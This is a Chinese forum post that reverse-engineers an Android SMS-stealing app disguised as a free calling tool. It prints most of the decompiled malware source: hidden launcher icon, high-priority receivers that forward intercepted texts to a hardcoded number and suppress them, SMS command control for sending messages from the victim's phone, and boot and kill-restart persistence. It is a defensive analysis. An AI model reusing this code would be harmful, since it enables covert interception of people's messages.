本帖最后由 wnagzihxain 于 2016-5-25 13:38 编辑
在这个美好的日子总要做点什么庆祝一下,那就分析个App吧
报告名称:对一个免费通话恶意APP的逆向分析 作者:wnagzihxain 报告更新日期:2016.5.20 样本发现日期:不详 样本类型:短信拦截 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值:E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87 样本文件SHA1 校验值:61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81 壳信息:无 可能受到威胁的系统:安卓 相关漏洞:无 已知检测名称:无
前天有同学说装了一个通话软件结果一直发送短信,所以下了样本来分析一下
原帖的截图
先上apktool [Shell] 纯文本查看 复制代码 apktool d -f do.apk -o do
来看一下AndroidManifest.xml,一共申请了6个权限 1. 接收系统启动完成的广播 2. 唤醒手机 3. 接收短信 4. 发送短信 5. 获取手机状态 6. 收到短信发送广播
一个Activity,还有服务什么的先不管
然后将apk文件修改后缀为zip,解压缩后,用dex2jar将classes.dex文件转换为jar文件,接下来用jdgui打开就可以看到里面的代码了
随便翻一下可以看到没加壳没混淆,而且代码写的一塌糊涂,不忍直视……
先不着急分析,上JEB
直接把apk拖进去就会进行反编译,(注释并不是自动生成的,是我自己写的,这玩意虽然强大,但是还没有到能自己写注释的地步)
为什么要开两个呢?
因为jdgui里面对整个逻辑的整理比较好,但是代码稍微不是很好阅读,jeb可以加注释,还可以改变量名,但是代码逻辑稍微乱了点,所以两者同时结合着看比较好懂
来看MainActivity(jdgui) [Java] 纯文本查看 复制代码 protected void onCreate(Bundle paramBundle)
{
LogCatBroadcaster.start(this);
super.onCreate(paramBundle);
super.requestWindowFeature(1);
setContentView(2130903040);
new SmSutils().sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append("爆万爆万爆万,回复com#false关闭com#true开启, 版本").append(Build.VERSION.SDK_INT).toString()).append(" ").toString() + Build.MODEL, (Context)null);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
try
{
paramBundle = Class.forName("com.sms.tract.SmSserver");
startService(new Intent(this, paramBundle));
finish();
return;
}
catch (ClassNotFoundException paramBundle)
{
throw new NoClassDefFoundError(paramBundle.getMessage());
}
} 先开启了一个线程,不知道干什么的,跟过去看看 [Java] 纯文本查看 复制代码 LogCatBroadcaster.start(this); LogCatBroadcaster(jdgui) 可以看到调用的是Runnable接口 [Java] 纯文本查看 复制代码 import android.content.Context;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Reader;
public class LogCatBroadcaster
implements Runnable
{
private static boolean started = false;
private Context context;
private LogCatBroadcaster(Context paramContext)
{
this.context = paramContext;
}
/* Error */
public static void start(Context paramContext)
{[/align][align=left]//start方法是字节码,考验反编译功力的时候到了,分析已经加在代码里,这段字节码核心就是开启线程
// Byte code:
// 0: ldc 2
// 2: monitorenter
// 3: getstatic 14 LogCatBroadcaster:started Z
// 6: istore_2
// 7: iload_2
// 8: ifeq +7 -> 15
// 11: ldc 2
// 13: monitorexit
// 14: return
// 15: iconst_1
// 16: putstatic 14 LogCatBroadcaster:started Z
// 19: getstatic 30 android/os/Build$VERSION:SDK_INT I
// 22: bipush 16
// 24: if_icmpge +6 -> 30//判断系统版本号是不是大于16,小于16就return
// 27: goto -16 -> 11
// 30: aload_0
// 31: invokevirtual 36 android/content/Context:getApplicationInfo ()Landroid/content/pm/ApplicationInfo;
// 34: getfield 41 android/content/pm/ApplicationInfo:flags I
// 37: istore_1
// 38: iload_1
// 39: iconst_2
// 40: iand
// 41: ifeq +12 -> 53
// 44: iconst_1
// 45: istore_1
// 46: iload_1
// 47: ifne +11 -> 58
// 50: goto -39 -> 11
// 53: iconst_0
// 54: istore_1
// 55: goto -9 -> 46
// 58: aload_0
// 59: invokevirtual 45 android/content/Context:getPackageManager ()Landroid/content/pm/PackageManager;
// 62: ldc 47
// 64: sipush 128
// 67: invokevirtual 53 android/content/pm/PackageManager:getPackageInfo (Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
// 70: pop
// 71: new 55 java/lang/Thread
// 74: astore 4
// 76: new 2 LogCatBroadcaster
// 79: astore_3
// 80: aload_3
// 81: aload_0
// 82: invokespecial 57 LogCatBroadcaster:<init> (Landroid/content/Context;)V
// 85: aload 4
// 87: aload_3
// 88: invokespecial 60 java/lang/Thread:<init> (Ljava/lang/Runnable;)V
// 91: aload 4
// 93: invokevirtual 62 java/lang/Thread:start ()V
// 96: goto -85 -> 11
// 99: astore_0
// 100: goto -89 -> 11
// 103: astore_0
// 104: ldc 2
// 106: monitorexit
// 107: aload_0
// 108: athrow
// Local variable table:
// start length slot name signature
// 0 109 0 paramContext Context
// 37 18 1 i int
// 6 2 2 bool boolean
// 79 9 3 localLogCatBroadcaster LogCatBroadcaster
// 74 18 4 localThread Thread
// Exception table:
// from to target type
// 58 71 99 android/content/pm/PackageManager$NameNotFoundException
// 3 7 103 finally
// 15 27 103 finally
// 30 38 103 finally
// 58 71 103 finally
// 71 96 103 finally
}
public void run()
{
try
{
Object localObject2 = Runtime.getRuntime().exec("logcat -v threadtime");//调用系统命令获得logcat日志
BufferedReader localBufferedReader = new java/io/BufferedReader;
Object localObject1 = new java/io/InputStreamReader;//取得输入流
((InputStreamReader)localObject1).<init>(((Process)localObject2).getInputStream());
localBufferedReader.<init>((Reader)localObject1, 20);
for (;;)
{
localObject2 = localBufferedReader.readLine();
if (localObject2 == null) {
break;
}
localObject1 = new android/content/Intent;
((Intent)localObject1).<init>();
((Intent)localObject1).setPackage("com.aide.ui");//目标包名
((Intent)localObject1).setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");//传一个action过去
((Intent)localObject1).putExtra("lines", new String[] { localObject2 });//额外数据,这里是本线程的信息
this.context.sendBroadcast((Intent)localObject1);//明显的隐式启动
}
return;
}
catch (IOException localIOException)
{
for (;;) {}
}
}
}
这段的意思其实是说这是用手机开发的APP,谢谢点评里的同学指出来,感谢
看一下在JEB里的代码,不多解释,很好懂的 [Java] 纯文本查看 复制代码 import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager$NameNotFoundException;
import android.os.Build$VERSION;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class LogCatBroadcaster implements Runnable {
private Context context;
private static boolean started;
static {
LogCatBroadcaster.started = false;
}
private LogCatBroadcaster(Context arg5) {
super();
this.context = arg5;
}
public void run() {
LogCatBroadcaster This = this;
try {
BufferedReader bufferreader = new BufferedReader(new InputStreamReader(Runtime.getRuntime()
.exec("logcat -v threadtime").getInputStream()), 20);
while(true) {
String bufferreadstring = bufferreader.readLine();
String stringread = bufferreadstring;
if(bufferreadstring == null) {
return;
}
Intent intent = new Intent();
intent.setPackage("com.aide.ui");
intent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
intent.putExtra("lines", new String[]{stringread});
This.context.sendBroadcast(intent);
}
}
catch(IOException v5) {
}
}
public static void start(Context arg11) {
Context context = arg11;
Class v9 = LogCatBroadcaster.class;
__monitor_enter(v9);
try {
if(LogCatBroadcaster.started) {
goto EXIT;
}
LogCatBroadcaster.started = true;
if(Build$VERSION.SDK_INT < 16) {
goto EXIT;
}
if(0 != (context.getApplicationInfo().flags & 2)) {
}
else {
goto label_25;
}
}
catch(Throwable v0_1) {
goto label_58;
}
int flag = 1;
goto label_21;
label_25:
flag = 0;
label_21:
if(flag != 0) {
Context v4_1 = context;
try {
v4_1.getPackageManager().getPackageInfo("com.aide.ui", 128);
goto label_35;
}
catch(Throwable v0_1) {
}
catch(PackageManager$NameNotFoundException v4_2) {
goto EXIT;
try {
label_35:
new Thread(new LogCatBroadcaster(context)).start();
}
catch(Throwable v0_1) {
label_58:
__monitor_exit(v9);
throw v0_1;
}
}
}
EXIT:
__monitor_exit(v9);
}
}
[Java] 纯文本查看 复制代码 public static synchronized void start(Context context) {
Context context2 = context;
synchronized (LogCatBroadcaster.class) {
if (!started) {
started = true;
if (VERSION.SDK_INT >= 16) {
if ((0 != (context2.getApplicationInfo().flags & 2) ? 1 : null) != null) {
try {
PackageInfo packageInfo = context2.getPackageManager().getPackageInfo("com.aide.ui", 128);
Thread thread = r10;
LogCatBroadcaster logCatBroadcaster = r10;
LogCatBroadcaster logCatBroadcaster2 = new LogCatBroadcaster(context2);
Thread thread2 = new Thread(logCatBroadcaster);
thread.start();
} catch (NameNotFoundException e) {
NameNotFoundException nameNotFoundException = e;
}
}
}
}
}
} 继续分析MainActivity
这句的意思是向15833482871发送"爆万爆万爆万,回复com#false关闭com#true开启, 版本"+受害者手机系统版本号+手机型号,这个结合开头那张图片可以看出来 [Java] 纯文本查看 复制代码 new SmSutils().sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append("爆万爆万爆万,回复com#false关闭com#true开启, 版本").append(Build.VERSION.SDK_INT).toString()).append(" ").toString() + Build.MODEL, (Context)null); 隐藏图标 [Java] 纯文本查看 复制代码 getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1); 接下来是重头戏了,开启了一个SmSserver服务,同时调用finish()方法把当前activity移除栈,这个并不调用onDestroy(),也不释放资源,也就是说应用还在运行 [Java] 纯文本查看 复制代码 try
{
paramBundle = Class.forName("com.sms.tract.SmSserver");
startService(new Intent(this, paramBundle));
finish();
return;
}
catch (ClassNotFoundException paramBundle)
{
throw new NoClassDefFoundError(paramBundle.getMessage());
} 左侧进入SmSserver看一下具体代码,可以看到先注册了两个Receiver,同时给作者发送短信通知拦截服务已启动
在JEB里加上注释看一下 [Java] 纯文本查看 复制代码 @Override public void onCreate() {
super.onCreate();
Notification notification = new Notification(2130837505, "", System.currentTimeMillis());
Intent intent = new Intent();
notification.contentView = new RemoteViews(this.getPackageName(), 2130903040);
notification.contentIntent = PendingIntent.getActivity(this, 0, intent, 0);
this.startForeground(100, notification);
IntentFilter intentfilter = new IntentFilter();
intentfilter.addAction("android.provider.Telephony.SMS_RECEIVED"); // 添加action:android.provider.Telephony.GSM_SMS_RECEIVED
intentfilter.addAction("android.provider.Telephony.SMS_RECEIVED_2"); // 添加action:android.provider.Telephony.SMS_RECEIVED_2
intentfilter.addAction("android.provider.Telephony.GSM_SMS_RECEIVED"); // 添加action:android.provider.Telephony.GSM_SMS_RECEIVED
intentfilter.setPriority(1000); // 设置优先级
this.localMessageReceiver = new SmSReceiver();
this.registerReceiver(this.localMessageReceiver, intentfilter, "android.permission.BROADCAST_SMS", // 注册第一个Receiver,带上了收到短信时进行广播的权限
null);
this.localMessageReceiver2 = new SmSReceiver();
this.registerReceiver(this.localMessageReceiver2, new IntentFilter("com.sms.tract")); // 注册第二个Receiver
new SmSutils().sendSMS("15833482871", new StringBuffer().append("拦截服务已启动,软件到期时间").append("2028-01-15 00:50:00") // 发送短信告诉作者已经开启拦截
.toString(), null);
} 同时它还有一个onDestroy()方法,可以用于被kill后自启动 [Java] 纯文本查看 复制代码 @Override public void onDestroy() {
Class v6;
SmSserver This = this;
super.onDestroy();
This.stopForeground(true);
This.unregisterReceiver(This.localMessageReceiver); // 注销
This.unregisterReceiver(This.localMessageReceiver2); // 注销
Intent intent1 = new Intent();
Intent intent2 = intent1;
SmSserver v5 = This;
try {
v6 = Class.forName("com.sms.tract.SmSserver");
}
catch(ClassNotFoundException v4_1) {
throw new NoClassDefFoundError(v4_1.getMessage()); // 异常处理
}
intent2.setClass(((Context)v5), v6);
This.startService(intent1); // 被kill后自启动,保证永远存活
}
@Override public int onStartCommand(Intent arg10, int arg11, int arg12) {
return super.onStartCommand(arg10, 3, arg12);
} 以上就是软件启动的时候做的事,总结一下就是:隐式启动一个应用,给作者发送第一条短信,然后注册两个Receiver,能在获取手机接收短信时的系统广播,并且SmSserver能够自启动,保证常驻后台
那么接下里就是Receiver的分析了
一共有两个Receiver继承自BroadcastReceiver,一个是SmSReceiver,另一个是BootReceiver
先来分析SmSReceiver
只要刚才注册的Receiver接收到系统接收短信时进行的广播,调用smsutils.isflag()进行日期判断,如果在这个日期前就执行SendSms()(这个不是刚才那个直接发送短信的方法),执行完后会有一个是否执行成功的判断给作者一个反馈 [Java] 纯文本查看 复制代码 package com.sms.tract;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.util.Log;
public class SmSReceiver extends BroadcastReceiver {
private SharedPreferences sp;
public SmSReceiver() {
super();
this.sp = null;
}
@Override public void onReceive(Context arg12, Intent arg13) {
SmSutils smsutils; // 如果收到的广播内容是if里面任意一个就执行
SmSReceiver This = this;
Context context = arg12;
Intent intent = arg13;
Log.i("action", intent.getAction());
This.sp = context.getSharedPreferences("config", 0);
if((intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) || (intent.getAction()
.equals("android.provider.Telephony.SMS_RECEIVED_2")) || (intent.getAction().equals(
"android.provider.Telephony.GSM_SMS_RECEIVED"))) {
smsutils = new SmSutils(); // 如果收到的广播内容是if里面任意一个就执行
Bundle bundle = intent.getExtras();
if(bundle != null && (smsutils.isflag())) {
smsutils.SendSms(bundle, context, This); // 发送短信
}
}
if(intent.getAction().equals("com.sms.tract")) {
smsutils = new SmSutils();
if(This.getResultCode() != -1) {
smsutils.sendSMS("15833482871", new StringBuffer().append("指令执行失败状态码 ").append(This. // 指令执行失败给作者发送失败的状态码
getResultCode()).toString(), null);
}
else {
smsutils.sendSMS("15833482871", "指令执行成功", null); // 发短信给作者指令执行成功
}
}
}
}
来看一下smsutils.isflag(),不清楚为什么要写这个,难道是作者写了这个软件卖给别人???然后还设置了别人使用的期限???Excuse me??? [Java] 纯文本查看 复制代码 public boolean isflag() {
try {
if(!SmSutils.sdf.parse("2028-01-15 00:50:00").after(new Date())) {
return false;
}
}
catch(ParseException v3) {
v3.printStackTrace();
return false;
}
boolean v0 = true;
return v0;
} 然后就是刚才的SendSms(),JEB里看一下 [Java] 纯文本查看 复制代码 public void SendSms(Bundle arg22, Context arg23, SmSReceiver arg24) {
String[] messagetextsplit; // 根据#进行分割
String sourceaddress; // 发送该短信的手机号
String messagetext; // 整条短信内容
SmSutils SmSutilsthis = this;
Bundle bundle = arg22;
Context context = arg23;
SmSReceiver smsreceiver = arg24;
SmSutils This = SmSutilsthis;
Context v14 = context;
try {
This.sp = v14.getSharedPreferences("config", 0);
Object pdus = bundle.get("pdus");
SmsMessage[] smsmessage = new SmsMessage[pdus.length];
int i;
for(i = 0; i < pdus.length; ++i) {
smsmessage[i] = [/i]SmsMessage.createFromPdu(pdus);
}
messagetext = ""; // 整条短信内容
sourceaddress = ""; // 发送该短信的手机号
SmsMessage[] smsmessage1 = smsmessage;
int i;
for(i = 0; i < smsmessage1.length; ++i) {
SmsMessage messagetemp = smsmessage1[i];
[/i]messagetext = new StringBuffer().append(messagetext).append(messagetemp.getMessageBody())
.toString();
if("".equals(sourceaddress)) {
sourceaddress = messagetemp.getOriginatingAddress(); // 获取发送该短信的手机号
}
}
Log.i("action", new StringBuffer().append(new StringBuffer().append(sourceaddress).append(
"->").toString()).append(messagetext).toString());
if(!sourceaddress.contains("15833482871")) {
goto label_265; // 如果短信来源不是作者手机号就发送拦截到的短信,相当于过滤掉作者发送的短信
}
messagetextsplit = messagetext.split("#"); // 根据#进行分割
if(messagetextsplit.length < 1) {
goto label_221; // 这种情况相当于出错
}
if("com".equals(messagetextsplit[0])) {
SmSutilsthis.command(messagetextsplit[1]); // 如果是‘com#’类型的短信就执行command方法,这个方法得结合MainActivity里的第一条短信来分析,简单来说就是作者用来控制的,具体看command方法
smsreceiver.abortBroadcast(); // 截断收到短信的广播
return;
}
if(SmSutils.isMobileNO(messagetextsplit[0])) {
SmSutilsthis.sendSMS(messagetextsplit[0], messagetextsplit[1], context); // 这个if厉害了
smsreceiver.abortBroadcast(); // 截断收到短信的广播
return;
}
SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append( // 前面的if都执行完了其余情况全部当作错误处理并发给作者
new StringBuffer().append(new StringBuffer().append(messagetextsplit.length).append(
" 指令错误\'").toString()).append(messagetextsplit[0]).toString()).append("\',").toString())
.append(messagetextsplit[1]).toString(), null);
smsreceiver.abortBroadcast(); // 截断收到短信的广播
return;
}
catch(Exception v13_1) {
goto label_202;
}
label_221:
This = SmSutilsthis;
try {
This.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(new StringBuffer() // 向作者发送指令出错的信息,同时带上拦截到的短信信息
.append(messagetextsplit.length).append(" 指令错误").toString()).append(messagetext)
.toString()).append("正确格式 手机号码#内容").toString(), null);
smsreceiver.abortBroadcast(); // 截断收到短信的广播
[i] return;[/i]
label_265: // 发送短信,格式:短信来源->短信内容
if(SmSutilsthis.sp.getBoolean("islj", true)) {
SmSutilsthis.[i]se[/i]ndSMS("15833482871", new StringBuffer().append(new StringBuffer().append( // 判断sp里的‘islj’是否为true,相当于判断作者是否还需要获取拦截的短信
sourceaddress).append("->").toString()).append(messagetext).toString(), null);
smsreceiver.abortBroadcast(); // 截断收到短信的广播
}
return;
}
catch(Exception v13_1) {
label_202:
v13_1.printStackTrace();
SmSutilsthis.sendSMS("15833482871", new StringBuffer().append("出现异常").append(v13_1.getMessage()) // 异常处理
.toString(), null);
return;
}
} 代码很长,写了注释,下面来分析一遍完整的流程 获取接收到的短信,其实就是前期准备工作,把该获取信息的获取 [Java] 纯文本查看 复制代码 This.sp = v14.getSharedPreferences("config", 0);
Object pdus = bundle.get("pdus");
SmsMessage[] smsmessage = new SmsMessage[pdus.length];
int i;
for(i = 0; i < pdus.length; ++i) {
smsmessage = SmsMessage.createFromPdu(pdus);
}
messagetext = ""; // 整条短信内容
sourceaddress = ""; // 发送该短信的手机号
SmsMessage[] smsmessage1 = smsmessage;
int i;
for(i = 0; i < smsmessage1.length; ++i) {
SmsMessage messagetemp = smsmessage1;
messagetext = new StringBuffer().append(messagetext).append(messagetemp.getMessageBody())
.toString();
if("".equals(sourceaddress)) {
sourceaddress = messagetemp.getOriginatingAddress(); // 获取发送该短信的手机号
}
}
Log.i("action", new StringBuffer().append(new StringBuffer().append(sourceaddress).append(
"->").toString()).append(messagetext).toString()); 如果不是作者发的短信就跳到label_265 [Java] 纯文本查看 复制代码 if(!sourceaddress.contains("15833482871")) {
goto label_265; // 如果短信来源不是作者手机号就发送拦截到的短信,相当于过滤掉作者发送的短信
} 跳到label_265,SmSutilsthis.sp.getBoolean("islj", true)这个需要结合后面的分析,注意command方法 [Java] 纯文本查看 复制代码 label_265: // 发送短信,格式:短信来源->短信内容
if(SmSutilsthis.sp.getBoolean("islj", true)) {// 判断sp里的‘islj’是否为true,相当于判断作者是否还需要获取拦截的短信
SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append( 发送拦截到的短信
sourceaddress).append("->").toString()).append(messagetext).toString(), null);
smsreceiver.abortBroadcast(); // 截断收到短信的广播
}
return; 然后的代码段就是接收到作者短信的操作了 [Java] 纯文本查看 复制代码 messagetextsplit = messagetext.split("#"); // 根据#进行分割
if(messagetextsplit.length < 1) {
goto label_221; // 这种情况相当于出错
} 出错后执行的代码 [Java] 纯文本查看 复制代码 label_221:
This = SmSutilsthis;
try {
This.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(new StringBuffer() // 向作者发送指令出错的信息,同时带上拦截到的短信信息
.append(messagetextsplit.length).append(" 指令错误").toString()).append(messagetext)
.toString()).append("正确格式 手机号码#内容").toString(), null);
smsreceiver.abortBroadcast(); // 截断收到短信的广播
return; 如果是‘com#’类型的短信就执行command方法,这个方法得结合MainActivity里的第一条短信来分析,简单来说就是作者用来控制的,具体看command方法 [Java] 纯文本查看 复制代码 if("com".equals(messagetextsplit[0])) {
SmSutilsthis.command(messagetextsplit[1]);
smsreceiver.abortBroadcast(); // 截断收到短信的广播
return;
} command方法,收到来自作者的短信,内容是”com#true就设置sp为true,否则为false“,结合最开始我说注意command方法那里 就是说作者不想监控你了就给你发”com#false“,想监控你了就给你发”com#true“,不想监控你但是Receiver还是在后台运行的,只是拦截到的短信作者不接收了而已 [Java] 纯文本查看 复制代码 public void command(String arg8) {
SmSutils This = this;
String messagetextsplit1 = arg8;
Log.i("action", messagetextsplit1);
if(This.sp != null) {
SharedPreferences$Editor editor = This.sp.edit();
if("true".equals(messagetextsplit1)) {
editor.putBoolean("islj", true); // 短信格式为‘com#true......’就将sp里的‘islj’设为true
}
else {
editor.putBoolean("islj", false); // 如果短信格式为‘com#......’,#后面不是‘true’,则设置sp里的‘islj’为false
}
editor.commit();
}
} 继续看代码,这段代码作用是收到作者的短信,格式是”95533#hello world“这样的,就利用受害者手机给95533发送hello world,作者想干什么我不清楚 [Java] 纯文本查看 复制代码 if(SmSutils.isMobileNO(messagetextsplit[0])) {
SmSutilsthis.sendSMS(messagetextsplit[0], messagetextsplit[1], context); // 这个if厉害了
smsreceiver.abortBroadcast(); // 截断收到短信的广播
return;
} 看一下SmSutils.isMobileNO()方法,作用就是判断‘#’前面是不是电话号码 [Java] 纯文本查看 复制代码 public static boolean isMobileNO(String arg6) {
boolean flag;
String messagetextsplit0 = arg6;
try {
Double.parseDouble(messagetextsplit0);
flag = true;
}
catch(Exception v4_1) {
v4_1.printStackTrace();
flag = false;
}
return flag;
} 如果所有if都不符合就当出错处理 [Java] 纯文本查看 复制代码 SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append( // 前面的if都执行完了其余情况全部当作错误处理并发给作者
new StringBuffer().append(new StringBuffer().append(messagetextsplit.length).append(
" 指令错误\'").toString()).append(messagetextsplit[0]).toString()).append("\',").toString())
.append(messagetextsplit[1]).toString(), null);
smsreceiver.abortBroadcast(); // 截断收到短信的广播
return; 整个Receiver的功能就是这些,刚才说还有一个BootReceiver,功能简单,实现开机自启动 [Java] 纯文本查看 复制代码 package com.sms.tract;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.util.List;
public class BootReceiver extends BroadcastReceiver {
public BootReceiver() {
super();
}
public static boolean isServiceRun(Context context, String arg11) {
String actionSmSserver = arg11;
boolean False = false;
List servicelist = context.getSystemService("activity").getRunningServices(40);
int servicelistnum = servicelist.size();
int i = 0;
while(true) {
if(i < servicelistnum) {
if(!servicelist.get(i).service.getClassName().equals(actionSmSserver)) {
++i; // 判断"com.sms.tract.SmSserver"是否在后台运行
continue;
}
else {
return true;
}
}
return False;
}
return true;
}
@Override public void onReceive(Context arg16, Intent arg17) {
Class v10;
Context context = arg16;
boolean v3 = BootReceiver.isServiceRun(context, "com.sms.tract.SmSserver");
Log.i("phone", new StringBuffer().append("server_").append(v3).toString()); // 输出服务是否在后台运行
if(!v3) {
Intent intent = null;
Intent v8 = null;
Context context1 = context;
try {
v10 = Class.forName("com.sms.tract.SmSserver");
}
catch(ClassNotFoundException error) {
throw new NoClassDefFoundError(error.getMessage()); // 异常处理
}
super(context1, v10);
intent.addFlags(268435456);
context.startService(intent); // 实现开机自启动
}
}
}
到这里就已经分析完所有代码了,总结软件行为:拦截短信并发送给作者,作者可通过发送短信控制是否获取拦截到的短信,同时还可以控制受害者手机发送短信
最后,那位中招了的同学,你说一直发短信,原因是SmSserver被kill后会自启动,自启动的时候会发送”拦截服务已启动“那条短信给作者,所以变相的告诉你,你被监控了。。。。。。
最后的最后,样本已经发到了病毒样本区,有兴趣的同学一起来玩吧
http://www.52pojie.cn/thread-499667-1-1.html
结尾彩蛋,文中一些安卓的知识:
这次真的是最后:这篇本来是看到论坛同学中招所以写的,感谢大家这么支持,所以接着写了一篇稍微进阶一点的,代码有混淆的恶意APP
欢迎交流╭( ・ㅂ・)و ̑̑ 主要记录二进制攻防的学习笔记和二进制漏洞的分析 |